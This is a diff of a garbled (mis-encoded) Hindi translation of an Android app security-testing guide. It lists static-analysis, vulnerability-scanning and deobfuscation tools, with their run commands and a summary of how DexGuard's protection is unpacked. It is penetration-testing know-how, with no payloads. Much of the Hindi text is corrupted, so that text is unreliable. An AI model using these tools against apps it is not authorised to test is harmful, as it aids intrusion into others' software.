рдЯреВрд▓ рдХреБрдЫ **Hooks** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдЧрд╛ рддрд╛рдХрд┐ рдЬрдм рдЖрдк **dynamic analysis** рдХрд░ рд░рд╣реЗ рд╣реЛрдВ рддреЛ рдЖрдкрдХреЛ рдкрддрд╛ рдЪрд▓ рд╕рдХреЗ **рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдореЗрдВ рдХреНрдпрд╛ рд╣реЛ рд░рд╣рд╛ рд╣реИ**ред ### [Yaazhini](https://www.vegabird.com/yaazhini/) -рдпрд╣ рдПрдХ **great tool to perform static analysis with a GUI** +This is a **great tool to perform static analysis with a GUI** ![](<../../images/image (741).png>) ### [Qark](https://github.com/linkedin/qark) -рдпрд╣ рдЯреВрд▓ рдХрдИ рдкреНрд░рдХрд╛рд░ рдХреА **security related Android application vulnerabilities** рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЪрд╛рд╣реЗ рд╡реЛ **source code** рдореЗрдВ рд╣реЛрдВ рдпрд╛ **packaged APKs** рдореЗрдВред рдпрд╣ рдЯреВрд▓ рдХреБрдЫ рдорд┐рд▓реА рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **capable of creating a "Proof-of-Concept" deployable APK** рдФрд░ **ADB commands** рднреА рдмрдирд╛ рд╕рдХрддрд╛ рд╣реИ (Exposed activities, intents, tapjacking...). Drozer рдХреА рддрд░рд╣, рдЯреЗрд╕реНрдЯ рдбрд┐рд╡рд╛рдЗрд╕ рдХреЛ root рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИред +This tool is designed to look for several **security related Android application vulnerabilities**, either in **source code** or **packaged APKs**. The tool is also **capable of creating a "Proof-of-Concept" deployable APK** and **ADB commands**, to exploit some of the found vulnerabilities (Exposed activities, intents, tapjacking...). As with Drozer, there is no need to root the test device. ```bash pip3 install --user qark # --user is only needed if not using a virtualenv qark --apk path/to/my.apk @@ -695,22 +692,22 @@ qark --java path/to/specific/java/file.java ``` ### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git) -- рд╕рднреА рдирд┐рдХрд╛рд▓реА рдЧрдИ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдЖрд╕рд╛рди рд╕рдВрджрд░реНрдн рдХреЗ рд▓рд┐рдП рджрд┐рдЦрд╛рддрд╛ рд╣реИ -- APK files рдХреЛ рд╕реНрд╡рддрдГ Java рдФрд░ Smali рдлрд╝реЙрд░реНрдореЗрдЯ рдореЗрдВ decompile рдХрд░рддрд╛ рд╣реИ -- AndroidManifest.xml рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рд╕рд╛рдорд╛рдиреНрдп vulnerabilities рдФрд░ рд╡реНрдпрд╡рд╣рд╛рд░ рдХреЗ рд▓рд┐рдП -- Static source code analysis рд╕рд╛рдорд╛рдиреНрдп vulnerabilities рдФрд░ рд╡реНрдпрд╡рд╣рд╛рд░ рдХреЗ рд▓рд┐рдП +- рдЖрд╕рд╛рди рд╕рдВрджрд░реНрдн рдХреЗ рд▓рд┐рдП рд╕рднреА рдирд┐рдХрд╛рд▓реЗ рдЧрдП рдлрд╝рд╛рдЗрд▓реЗрдВ рджрд┐рдЦрд╛рддрд╛ рд╣реИ +- APK рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ Java рдФрд░ Smali рдлреЙрд░реНрдореИрдЯ рдореЗрдВ decompile рдХрд░рддрд╛ рд╣реИ +- рд╕рд╛рдорд╛рдиреНрдп рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдФрд░ рд╡реНрдпрд╡рд╣рд╛рд░ рдХреЗ рд▓рд┐рдП AndroidManifest.xml рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рддрд╛ рд╣реИ +- рд╕рд╛рдорд╛рдиреНрдп рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдФрд░ рд╡реНрдпрд╡рд╣рд╛рд░ рдХреЗ рд▓рд┐рдП рд╕реНрдереИрддрд┐рдХ рд╕реНрд░реЛрдд рдХреЛрдб рд╡рд┐рд╢реНрд▓реЗрд╖рдг - рдбрд┐рд╡рд╛рдЗрд╕ рдЬрд╛рдирдХрд╛рд░реА -- рдФрд░ рднреА рдмрд╣реБрдд рдХреБрдЫ +- рдФрд░ рднреА ```bash reverse-apk relative/path/to/APP.apk ``` ### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super) -SUPER рдПрдХ command-line application рд╣реИ рдЬрд┐рд╕реЗ Windows, MacOS X рдФрд░ Linux рдкрд░ рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреЛ _.apk_ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХрд╛ vulnerabilities рдХреА рддрд▓рд╛рд╢ рдореЗрдВ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рддрд╛ рд╣реИред рдпрд╣ APKs рдХреЛ decompress рдХрд░рдХреЗ рдФрд░ рдирд┐рдпрдореЛрдВ рдХреА рдПрдХ рд╢реНрд░реГрдВрдЦрд▓рд╛ рд▓рд╛рдЧреВ рдХрд░рдХреЗ рдЙрди vulnerabilities рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рддрд╛ рд╣реИред +SUPER рдПрдХ command-line application рд╣реИ рдЬрд┐рд╕реЗ Windows, MacOS X рдФрд░ Linux рдкрд░ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреЛ _.apk_ рдлрд╛рдЗрд▓реЛрдВ рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рдХреЗ vulnerabilities рдХреА рддрд▓рд╛рд╢ рдХрд░рддрд╛ рд╣реИред рдпрд╣ APKs рдХреЛ decompress рдХрд░рдХреЗ рдФрд░ vulnerabilities рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рдпрдореЛрдВ рдХреА рдПрдХ рд╢реНрд░реГрдВрдЦрд▓рд╛ рд▓рд╛рдЧреВ рдХрд░рдХреЗ рдпрд╣ рдХрд░рддрд╛ рд╣реИред -рд╕рднреА rules `rules.json` рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдХреЗрдВрджреНрд░реАрдХреГрдд рд╣реИрдВ, рдФрд░ рд╣рд░ рдХрдВрдкрдиреА рдпрд╛ tester рдЕрдкрдиреА рдЬрд╝рд░реВрд░рдд рдХреЗ рдЕрдиреБрд╕рд╛рд░ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХреЗ рд▓рд┐рдП рдЕрдкрдиреЗ рдирд┐рдпрдо рдмрдирд╛ рд╕рдХрддрд╛ рд╣реИред +рд╕рднреА рдирд┐рдпрдо `rules.json` рдлрд╛рдЗрд▓ рдореЗрдВ рдХреЗрдВрджреНрд░рд┐рдд рд╣реИрдВ, рдФрд░ рдкреНрд░рддреНрдпреЗрдХ рдХрдВрдкрдиреА рдпрд╛ рдЯреЗрд╕реНрдЯрд░ рдЕрдкрдиреА рдЬрд╝рд░реВрд░рдд рдХреЗ рдЕрдиреБрд╕рд╛рд░ рдЕрдкрдиреЗ рдирд┐рдпрдо рдмрдирд╛ рд╕рдХрддрд╛ рд╣реИред -Latest binaries рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП [download page](https://superanalyzer.rocks/download.html) рджреЗрдЦреЗрдВ +рдирд╡реАрдирддрдо binaries рдХреЛ [download page](https://superanalyzer.rocks/download.html) рд╕реЗ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░реЗрдВ ``` super-analyzer {apk_file} ``` @@ -718,9 +715,9 @@ super-analyzer {apk_file} ![](<../../images/image (297).png>) -StaCoAn рдПрдХ **crossplatform** рдЯреВрд▓ рд╣реИ рдЬреЛ developers, bugbounty hunters рдФрд░ ethical hackers рдХреЛ рдореЛрдмрд╛рдЗрд▓ applications рдкрд░ [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдХрд░рддрд╛ рд╣реИред +StaCoAn рдПрдХ **рдХреНрд░реЙрд╕-рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо** рдЯреВрд▓ рд╣реИ рдЬреЛ рдбреЗрд╡рд▓рдкрд░реНрд╕, bugbounty hunters рдФрд░ ethical hackers рдХреЛ рдореЛрдмрд╛рдЗрд▓ рдПрдкреНрд▓рд┐рдХреЗрд╢рдиреНрд╕ рдкрд░ [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) рдХрд░рдиреЗ рдореЗрдВ рд╕рд╣рд╛рдпрддрд╛ рдХрд░рддрд╛ рд╣реИред -рд╡рд┐рдЪрд╛рд░ рдпрд╣ рд╣реИ рдХрд┐ рдЖрдк рдЕрдкрдирд╛ рдореЛрдмрд╛рдЗрд▓ application рдлрд╝рд╛рдЗрд▓ (.apk рдпрд╛ .ipa рдлрд╝рд╛рдЗрд▓) StaCoAn application рдкрд░ drag and drop рдХрд░реЗрдВ рдФрд░ рдпрд╣ рдЖрдкрдХреЗ рд▓рд┐рдП рдПрдХ visual рдФрд░ portable рд░рд┐рдкреЛрд░реНрдЯ рддреИрдпрд╛рд░ рдХрд░реЗрдЧрд╛ред рдЖрдк settings рдФрд░ wordlists рдХреЛ tweak рдХрд░рдХреЗ рдПрдХ customized рдЕрдиреБрднрд╡ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +рдХрдиреНрд╕реЗрдкреНрдЯ рдпрд╣ рд╣реИ рдХрд┐ рдЖрдк рдЕрдкрдиреА рдореЛрдмрд╛рдЗрд▓ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдлрд╝рд╛рдЗрд▓ (.apk рдпрд╛ .ipa рдлрд╝рд╛рдЗрд▓) рдХреЛ StaCoAn рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдкрд░ рдЦреАрдВрдЪрдХрд░ рдЫреЛрдбрд╝реЗрдВ рдФрд░ рдпрд╣ рдЖрдкрдХреЗ рд▓рд┐рдП рдПрдХ рд╡рд┐рдЬрд╝реБрдЕрд▓ рдФрд░ рдкреЛрд░реНрдЯреЗрдмрд▓ рд░рд┐рдкреЛрд░реНрдЯ рдЬрдирд░реЗрдЯ рдХрд░реЗрдЧрд╛ред рдЖрдк рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдФрд░ wordlists рдХреЛ рдЯреНрд╡реАрдХ рдХрд░рдХреЗ рдПрдХ рдХрд╕реНрдЯрдорд╛рдЗрдЬрд╝реНрдб рдЕрдиреБрднрд╡ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдбрд╛рдЙрдирд▓реЛрдб[ latest release](https://github.com/vincentcox/StaCoAn/releases): ``` @@ -728,7 +725,7 @@ StaCoAn рдПрдХ **crossplatform** рдЯреВрд▓ рд╣реИ рдЬреЛ developers, bugbounty h ``` ### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework) -AndroBugs Framework рдПрдХ Android vulnerability analysis system рд╣реИ рдЬреЛ developers рдпрд╛ hackers рдХреЛ Android applications рдореЗрдВ рд╕рдВрднрд╛рд╡рд┐рдд security vulnerabilities рдЦреЛрдЬрдиреЗ рдореЗрдВ рдорджрдж рдХрд░рддрд╛ рд╣реИ.\ +AndroBugs Framework рдПрдХ Android vulnerability analysis рд╕рд┐рд╕реНрдЯрдо рд╣реИ рдЬреЛ рдбреЗрд╡рд▓рдкрд░реНрд╕ рдпрд╛ hackers рдХреЛ Android applications рдореЗрдВ рд╕рдВрднрд╛рд╡рд┐рдд рд╕реБрд░рдХреНрд╖рд╛ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЛ рдЦреЛрдЬрдиреЗ рдореЗрдВ рдорджрдж рдХрд░рддрд╛ рд╣реИ.\ [Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases) ``` python androbugs.py -f [APK file] @@ -736,11 +733,11 @@ androbugs.exe -f [APK file] ``` ### [Androwarn](https://github.com/maaaaz/androwarn) -**Androwarn** рдПрдХ рдРрд╕рд╛ рдЯреВрд▓ рд╣реИ рдЬрд┐рд╕рдХрд╛ рдореБрдЦреНрдп рдЙрджреНрджреЗрд╢реНрдп Android application рджреНрд╡рд╛рд░рд╛ рд╡рд┐рдХрд╕рд┐рдд рд╕рдВрднрд╛рд╡рд┐рдд рд╣рд╛рдирд┐рдХрд╛рд░рдХ рд╡реНрдпрд╡рд╣рд╛рд░реЛрдВ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдирд╛ рдФрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдЪреЗрддрд╛рд╡рдиреА рджреЗрдирд╛ рд╣реИред +**Androwarn** рдПрдХ рдЙрдкрдХрд░рдг рд╣реИ рдЬрд┐рд╕рдХрд╛ рдореБрдЦреНрдп рдЙрджреНрджреЗрд╢реНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдХрд┐рд╕реА Android application рджреНрд╡рд╛рд░рд╛ рд╡рд┐рдХрд╕рд┐рдд рд╕рдВрднрд╛рд╡рд┐рдд malicious рд╡реНрдпрд╡рд╣рд╛рд░реЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдкрд╣рдЪрд╛рдирдирд╛ рдФрд░ рдЪреЗрддрд╛рд╡рдиреА рджреЗрдирд╛ рд╣реИред -рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ Dalvik bytecode рдХрд╛ **static analysis** рдХрд░рдХреЗ рдХреА рдЬрд╛рддреА рд╣реИ, рдЬреЛ **Smali** рдХреЗ рд░реВрдк рдореЗрдВ рдкреНрд░рджрд░реНрд╢рд┐рдд рд╣реЛрддрд╛ рд╣реИ, рдФрд░ рдЗрд╕рдХреЗ рд▓рд┐рдпреЗ [`androguard`](https://github.com/androguard/androguard) рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред +рдпрд╣ detection application's Dalvik bytecode рдХреЗ **static analysis** рдХреЗ рд╕рд╛рде рдХреА рдЬрд╛рддреА рд╣реИ, рдЬреЛ **Smali** рдХреЗ рд░реВрдк рдореЗрдВ рдкреНрд░рд╕реНрддреБрдд рд╣реЛрддреА рд╣реИ, рдФрд░ рдЗрд╕рдХреЗ рд▓рд┐рдП [`androguard`](https://github.com/androguard/androguard) рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред -рдпрд╣ рдЯреВрд▓ **common behavior of "bad" applications** рдЬреИрд╕реА рдЧрддрд┐рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЛ рдЦреЛрдЬрддрд╛ рд╣реИ, рдЬреИрд╕реЗ: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution... +рдпрд╣ рдЙрдкрдХрд░рдг **common behavior of "bad" applications** рдЬреИрд╕реЗ: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution... рдХреА рддрд▓рд╛рд╢ рдХрд░рддрд╛ рд╣реИред ``` python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ``` @@ -748,75 +745,75 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ![](<../../images/image (595).png>) -**MARA** рдПрдХ **M**obile **A**pplication **R**everse engineering рдФрд░ **A**nalysis Framework рд╣реИред рдпрд╣ рдЙрди рд╕рд╛рдорд╛рдиреНрдп рд░реВрдк рд╕реЗ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ mobile application reverse engineering рдФрд░ analysis tools рдХреЛ рдПрдХ рд╕рд╛рде рдЬреЛрдбрд╝рдиреЗ рд╡рд╛рд▓рд╛ рдПрдХ рдЯреВрд▓ рд╣реИ, рддрд╛рдХрд┐ OWASP mobile security threats рдХреЗ рдЦрд┐рд▓рд╛рдл mobile applications рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдорд┐рд▓ рд╕рдХреЗред рдЗрд╕рдХрд╛ рдЙрджреНрджреЗрд╢реНрдп mobile application developers рдФрд░ security professionals рдХреЗ рд▓рд┐рдП рдпрд╣ рдХрд╛рд░реНрдп рдЖрд╕рд╛рди рдФрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛-рдЕрдиреБрдХреВрд▓ рдмрдирд╛рдирд╛ рд╣реИред +**MARA** is a **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework. рдпрд╣ рдПрдХ рдРрд╕рд╛ рдЯреВрд▓ рд╣реИ рдЬреЛ рд╕рд╛рдорд╛рдиреНрдпрддрдГ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ mobile application reverse engineering рдФрд░ analysis tools рдХреЛ рдПрдХ рд╕рд╛рде рд░рдЦрддрд╛ рд╣реИ, рддрд╛рдХрд┐ OWASP mobile security threats рдХреЗ рдЦрд┐рд▓рд╛рдл mobile applications рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░рдирд╛ рдЖрд╕рд╛рди рд╣реЛ рд╕рдХреЗред рдЗрд╕рдХрд╛ рдЙрджреНрджреЗрд╢реНрдп mobile application developers рдФрд░ security professionals рдХреЗ рд▓рд┐рдП рдпрд╣ рдХрд╛рд░реНрдп рд╕рд░рд▓ рдФрд░ рдЕрдзрд┐рдХ рдореИрддреНрд░реАрдкреВрд░реНрдг рдмрдирд╛рдирд╛ рд╣реИред -рдпрд╣ рд╕рдХреНрд╖рдо рд╣реИ: +It is able to: -- рд╡рд┐рднрд┐рдиреНрди рдЯреВрд▓реНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ Java рдФрд░ Smali рдХреЛрдб рдирд┐рдХрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдП -- APKs рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD) -- regexps рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ APK рд╕реЗ private рдЬрд╛рдирдХрд╛рд░реА рдирд┐рдХрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдПред -- Manifest рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдПред -- рдорд┐рд▓реЗ рд╣реБрдП domains рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) рдФрд░ [whatweb](https://github.com/urbanadventurer/WhatWeb) -- [apk-deguard.com](http://www.apk-deguard.com) рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ APK рдХреЛ deobfuscate рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП +- Extract Java and Smali code using different tools +- Analyze APKs using: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD) +- Extract private information from the APK using regexps. +- Analyze the Manifest. +- Analyze found domains using: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) and [whatweb](https://github.com/urbanadventurer/WhatWeb) +- Deobfuscate APK via [apk-deguard.com](http://www.apk-deguard.com) ### Koodous -рдореИрд▓рд╡реЗрдпрд░ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА: [https://koodous.com/](https://koodous.com/) +malware рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА: [https://koodous.com/](https://koodous.com/) ## Obfuscating/Deobfuscating code -рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЖрдк рдЬреЛ рд╕реЗрд╡рд╛ рдФрд░ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ рдЙрд╕рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдХреЛрдб рдХреЛ obfuscate рдХрд░рддреЗ рд╕рдордп Secrets obfuscated рд╣реЛ рднреА рд╕рдХрддреЗ рд╣реИрдВ рдпрд╛ рдирд╣реАрдВ рднреАред +рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЖрдк рдЬрд┐рд╕ service рдФрд░ configuration рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ, рдЙрд╕рдХреЗ рдЕрдиреБрд╕рд╛рд░ рдХреЛрдб obfuscate рд╣реЛрдиреЗ рдкрд░ secrets obfuscated рд░рд╣ рд╕рдХрддреЗ рд╣реИрдВ рдпрд╛ рдирд╣реАрдВ рд░рд╣ рд╕рдХрддреЗред ### [ProGuard]() -From [Wikipedia](): **ProGuard** рдПрдХ open source рдХрдорд╛рдВрдб-рд▓рд╛рдЗрди рдЯреВрд▓ рд╣реИ рдЬреЛ Java рдХреЛрдб рдХреЛ shrink, optimize рдФрд░ obfuscate рдХрд░рддрд╛ рд╣реИред рдпрд╣ bytecode рдХреЛ optimize рдХрд░рдиреЗ рдХреЗ рд╕рд╛рде-рд╕рд╛рде рдЙрдкрдпреЛрдЧ рди рд╣реЛрдиреЗ рд╡рд╛рд▓реЗ рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдХрд░ рдЙрдиреНрд╣реЗрдВ рд╣рдЯрд╛ рднреА рд╕рдХрддрд╛ рд╣реИред ProGuard free software рд╣реИ рдФрд░ GNU General Public License, version 2 рдХреЗ рддрд╣рдд рд╡рд┐рддрд░рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред +From [Wikipedia](): **ProGuard** is an open source command-line tool that shrinks, optimizes and obfuscates Java code. рдпрд╣ bytecode рдХреЛ optimize рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдФрд░ unused instructions рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛ рдХрд░ рд╣рдЯрд╛рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реИред ProGuard free software рд╣реИ рдФрд░ GNU General Public License, version 2 рдХреЗ рдЕрдВрддрд░реНрдЧрдд рд╡рд┐рддрд░рд┐рдд рд╣реЛрддрд╛ рд╣реИред -ProGuard Android SDK рдХреЗ рд╣рд┐рд╕реНрд╕реЗ рдХреЗ рд░реВрдк рдореЗрдВ рд╡рд┐рддрд░рд┐рдд рд╣реЛрддрд╛ рд╣реИ рдФрд░ application рдХреЛ release mode рдореЗрдВ build рдХрд░рддреЗ рд╕рдордп рдЪрд▓рд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред +ProGuard Android SDK рдХрд╛ рд╣рд┐рд╕реНрд╕рд╛ рдХреЗ рд░реВрдк рдореЗрдВ рд╡рд┐рддрд░рд┐рдд рд╣реЛрддрд╛ рд╣реИ рдФрд░ release mode рдореЗрдВ application build рдХрд░рддреЗ рд╕рдордп рдЪрд▓рддрд╛ рд╣реИред ### [DexGuard](https://www.guardsquare.com/dexguard) -APk рдХреЛ deobfuscate рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП step-by-step guide рджреЗрдЦреЗрдВ: [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) +Deobfuscate рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП step-by-step guide рдпрд╣рд╛рдБ рдорд┐рд▓рддреА рд╣реИ: [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) -(рдЙрд╕ рдЧрд╛рдЗрдб рд╕реЗ) рдЖрдЦрд┐рд░реА рдмрд╛рд░ рдЬрдм рд╣рдордиреЗ рджреЗрдЦрд╛ рдерд╛, Dexguard рдХрд╛ mode of operation рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдерд╛: +(From that guide) Last time we checked, the Dexguard mode of operation was: -- рдХрд┐рд╕реА resource рдХреЛ InputStream рдХреЗ рд░реВрдк рдореЗрдВ load рдХрд░реЗрдВ; -- decrypted рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд░рд┐рдгрд╛рдо рдХреЛ FilterInputStream рд╕реЗ inheriting рдХрд░рдиреЗ рд╡рд╛рд▓реА рдХрд┐рд╕реА class рдХреЛ feed рдХрд░реЗрдВ; -- reverer рдХреЗ рд╕рдордп рдмрд░реНрдмрд╛рдж рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреБрдЫ рдмреЗрдХрд╛рд░ obfuscation рдХрд░реЗрдВ; -- decrypted рдкрд░рд┐рдгрд╛рдо рдХреЛ ZipInputStream рдХреЛ feed рдХрд░реЗрдВ рддрд╛рдХрд┐ DEX рдлрд╝рд╛рдЗрд▓ рдорд┐рд▓реЗ; -- рдЕрдВрдд рдореЗрдВ `loadDex` method рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ resulting DEX рдХреЛ рдПрдХ Resource рдХреЗ рд░реВрдк рдореЗрдВ load рдХрд░реЗрдВред +- load a resource as an InputStream; +- feed the result to a class inheriting from FilterInputStream to decrypt it; +- do some useless obfuscation to waste a few minutes of time from a reverser; +- feed the decrypted result to a ZipInputStream to get a DEX file; +- finally load the resulting DEX as a Resource using the `loadDex` method. ### [DeGuard](http://apk-deguard.com) -**DeGuard рдЙрди Android obfuscation tools рджреНрд╡рд╛рд░рд╛ рдХрд┐рдП рдЧрдП obfuscation рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдЙрд▓рдЯ рджреЗрддрд╛ рд╣реИред рдЗрд╕рд╕реЗ рдХрдИ рд╕реБрд░рдХреНрд╖рд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рд╕рдВрднрд╡ рд╣реЛрддреЗ рд╣реИрдВ, рдЬрд┐рдирдореЗрдВ code inspection рдФрд░ libraries рдХрд╛ рдЕрдиреБрдорд╛рди рд▓рдЧрд╛рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИред** +**DeGuard reverses the process of obfuscation performed by Android obfuscation tools. This enables numerous security analyses, including code inspection and predicting libraries.** -рдЖрдк obfuscated APK рдХреЛ рдЙрдирдХреЗ рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо рдкрд░ upload рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +рдЖрдк рдПрдХ obfuscated APK рдХреЛ рдЙрдирдХреЗ рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо рдкрд░ upload рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред ### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app -рдпрд╣ android apps рдореЗрдВ рдХрд┐рд╕реА рднреА рд╕рдВрднрд╛рд╡рд┐рдд рд╕реБрд░рдХреНрд╖рд╛ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдФрд░ android app code рдХреЛ deobfuscate рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ LLM рдЯреВрд▓ рд╣реИред Uses Google's Gemini public API. +рдпрд╣ рдПрдХ LLM рдЯреВрд▓ рд╣реИ рдЬреЛ android apps рдореЗрдВ рд╕рдВрднрд╛рд╡рд┐рдд security vulnerabilities рдЦреЛрдЬрдиреЗ рдФрд░ android app code рдХреЛ deobfuscate рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╣реИред Uses Google's Gemini public API. ### [Simplify](https://github.com/CalebFenton/simplify) -рдпрд╣ рдПрдХ **generic android deobfuscator** рд╣реИред Simplify **рдХрд┐рд╕реА рдРрдк рдХреЛ virtually execute рдХрд░рддрд╛ рд╣реИ** рддрд╛рдХрд┐ рдЙрд╕рдХреЗ рд╡реНрдпрд╡рд╣рд╛рд░ рдХреЛ рд╕рдордЭрд╛ рдЬрд╛ рд╕рдХреЗ рдФрд░ рдлрд┐рд░ **рдХреЛрдб рдХреЛ optimize рдХрд░рдиреЗ рдХреА 